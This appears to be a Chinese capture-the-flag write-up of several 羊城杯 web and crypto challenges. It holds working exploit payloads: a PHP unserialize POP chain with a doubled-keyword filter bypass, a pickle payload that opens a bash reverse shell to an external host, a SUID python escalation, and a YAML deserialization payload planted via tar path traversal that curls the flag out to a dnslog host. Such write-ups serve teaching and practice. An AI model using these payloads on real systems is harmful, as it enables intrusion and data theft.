羊城杯
web
D0n’t pl4y g4m3!!!
打开网页,访问
/p0p.php
,302跳转到一个游戏页面去了。抓包发现php的版本是
7.4.21
,这个版本的php能读源码,还发现有一个hint.zip。下载hint.zip,解压后在
hint.txt
文件中得到这样一串东西。Ö_0 0vO Ow0 0w0 Ö_0 Ö_O Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0_Ö Ö_o owO O.0 owo Ö_o owO O.0 owo Ö_0 0wÖ O.0 0w0 Ö_0 OwO ov0 owo o_O O.Ö Övo
构造包读取源码。
数据包:
GET /p0p.php HTTP/1.1
Host: tcp.cloud.dasctf.com:24054
GET / HTTP/1.1源码:
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");
class Pro{
private $exp;
private $rce2;
public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if (isset($a)){
unserialize(prohib($a));
}分析源码,能够知道可以利用
Yang
这个类的__call
来rce。poc:
highlight_file(__FILE__);
class Yang
{
public function __call($name, $ary)
{
echo "__call1<br>";
if ($this->key === true || $this->finish1->name) {
echo "__call2<br>";
if ($this->finish->finish) {
echo "__call3<br>";
//var_dump($name);
var_dump($ary);
echo "<br>";
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{
return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
//echo $this->rce."<br>";
if ($this->CTF->ycb()) {
//echo $this->rce."<br>";
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}
$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="123";
$a->CTF=new Yang();
$a->CTF->finish=new Yang();
$a->CTF->finish->finish=true;
$a->fine=new Yang();
$a->fine->now["YCB1"]="system";
$a->fine->finish=new Yang();
$a->fine->finish->finish=true;
echo serialize($a);
//O:3:"Bei":4:{s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";s:4:"rce1";s:3:"123";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:3:"now";a:1:{s:4:"YCB1";s:6:"system";}s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}}之后将
system
双写,即可绕过prohib
。最后的payload:
CTF=O:3:"Bei":4:{s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";s:4:"rce1";s:3:"123";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}s:6:"finish";O:4:"Yang":1:{s:6:"finish";b:1;}}}
Serpent
访问
www.zip
,得到源码。#源码
from flask import Flask, session
from secret import secret
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)抓包,在响应包里看到session,解码得到
secret_key
为GWHTpNTlRMDw6p
。伪造session,让
admin
为1,name
为admin
,访问/verification
,即可得到下一步提示。访问
/ppppppppppick1e
,在响应头看到Hint: Source in /src0de
。访问
/src0de
,得到源码,可以发现这是pickle反序列化
。#源码
def src0de():
f = open(__file__, 'r')
rsp = f.read()
f.close()
return rsp[rsp.index("@app.route('/src0de')"):]
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message
return rsp
class GWHT():
def __init__(self):
pass
if __name__ == '__main__':
app.run('0.0.0.0', port=80)经过测试,过滤了
R
,因此R指令不可用,我们使用C指令来反弹shell。import base64
b=b"\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c \'bash -i >& /dev/tcp/7654du6216.zicp.fun/33699 0>&1\'\nb."
print(base64.b64encode(b))
#b'gANjX19tYWluX18KR1dIVAopgX0oVl9fc2V0c3RhdGVfXwpjb3MKc3lzdGVtCnViVmJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvNzY1NGR1NjIxNi56aWNwLmZ1bi8zMzY5OSAwPiYxJwpiLg=='成功反弹shell,在根目录发现flag,但没有权限读取。
用find命令查找具有
SUID
权限的程序,发现python具有这个权限。find / -perm -4000 2>/dev/null
最后用python来读取flag。
python3 -c 'print(open("/flag").read())'
ArkNights
源码:
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])存在非预期,用read路由直接读
/proc/1/environ
,直接得到flag。
ezyaml
yaml的反序列化+tar的路径穿越。
源码:
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re
app = Flask(__name__)
def waf(s):
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)
if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)分析源码,发现当上传文件为
tar
时,会进行一个解压操作,于是想到tar路径穿越。在
/src
路由,可以发现对config
目录下的文件进行一个yaml的反序列化操作,于是在文件内写入exp,利用curl+dnslog实现命令外带(反弹shell不成功)。#test.yaml
!!python/object/apply:os.system ['curl http://kbqsag.ceye.io?flag=`cat /fllaagg_here`']打包文件
tar cPvf midi.tar ../../config/test.yaml
之后访问
/src?username=test
,即可成功实现外带。
CRYPTO
XOR贯穿始终
rsa+异或
打开
massege.txt
,是核心价值观编码,解码后得到压缩包的解压密码。(在线网站:http://www.hiencode.com/cvencode.html)解压压缩包后,有一个pem文件是私钥文件,参考这个(https://zhuanlan.zhihu.com/p/461349946),即可分离出e,p,q。
from Crypto.Util.number import *
import base64
import gmpy2
import re
pri=b"MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbILSuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYEN4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuWeZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESvIgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbnjxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaAUETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25uGz3++w=="
decode_pri=hex(bytes_to_long(base64.b64decode(pri)))
print(decode_pri)
e=re.findall(r'0203([0-9]{6})',decode_pri)
pq=re.findall(r'0241(\w{130})',decode_pri)
print('e= 0x'+e[0])
print('p= 0x'+pq[0])
print('q= 0x'+pq[1])常规rsa解码,但解码后发现flag后半部分是乱码。
想到题目提示有XOR,于是将步骤一得到字符串和m异或一遍,最后得到flag。
exp
from Crypto.Util.number import *
import base64
import gmpy2
import re
pri=b"MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbILSuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYEN4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuWeZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESvIgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbnjxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaAUETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25uGz3++w=="
decode_pri=hex(bytes_to_long(base64.b64decode(pri)))
#print(decode_pri)
e=re.findall(r'0203([0-9]{6})',decode_pri)
pq=re.findall(r'0241(\w{130})',decode_pri)
#print('e= 0x'+e[0])
#print('p= 0x'+pq[0])
#print('q= 0x'+pq[1])
import gmpy2
from Crypto.Util.number import long_to_bytes
#填p
p = int(pq[0],16)
#填q
q = int(pq[1],16)
n=p*q
e = 65537
#填c
c=91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
xor=bytes_to_long(b'C0ngr4tulati0n5_y0u_fou^d_m3')
flag = long_to_bytes(m^xor)
#flag = long_to_bytes(m)
print(flag)
#b'DASCTF{0e2874af5e422482378640e61d919e9a}'